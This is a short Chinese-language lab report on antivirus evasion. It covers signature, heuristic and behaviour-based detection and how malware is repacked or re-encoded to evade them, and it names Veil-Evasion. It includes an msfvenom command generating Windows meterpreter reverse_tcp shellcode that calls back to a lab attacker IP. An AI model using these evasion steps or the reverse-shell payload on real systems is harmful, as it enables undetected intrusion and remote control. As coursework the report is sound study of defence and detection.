免杀原理与实践
MarkdownPad Document
免杀原理与实践
1.基础问题
(1)杀软是如何检测出恶意代码的?
1:基于特征码
一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)
杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。
2: 启发式恶意软件检测
When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.
如果一个软件做的事和恶意代码一样,那么认为这样的程序是恶意代码,用自己的话概括就是:宁可杀错,不可放过(= =。)
3:基于行为的恶意软件检测
(2)免杀是做什么? 就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。 (3)免杀的基本方法有哪些? 1:改变特征码,为恶意代码加上一层保护壳,比如利用重新进行编码的方式改变其源代码,或者改变它的编译方式,从而使杀毒软件检测不到恶意代码的特征码已达到免杀的目的
2:改变恶意代码的行为,在使用反弹式链接可以避免防火墙或者杀毒软件检测到恶意代码,即想办法绕过这些有防火墙或者杀毒软件保护的路径。在恶意代码对系统进行操作的时候,尽量使自己看起来像一个正常的程序一样,避免一些有可能被杀毒软件检测到并判定为恶意代码的可疑行为。
3:非常规方法,例如纯手工编写一个恶意代码,杀毒软件的恶意代码库中一般是大规模流行于市面的恶意代码,对个人编写的恶意代码没有用处。
2.实践总结
攻击机IP:192.168.58.129
2.用Veil-Evasion生成可执行文件
kali原本没有veil-evasion ,所以需要先安装sudo apt-get install veil-evasion
然后使用命令Veil-Evation
,打开Veil-Evation,按照menu提示进行相关操作:
3.shellcode编程
在kali终端下生成一个c格式的十六进制数组,ip为kali的msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.129 LPORT=443 -f c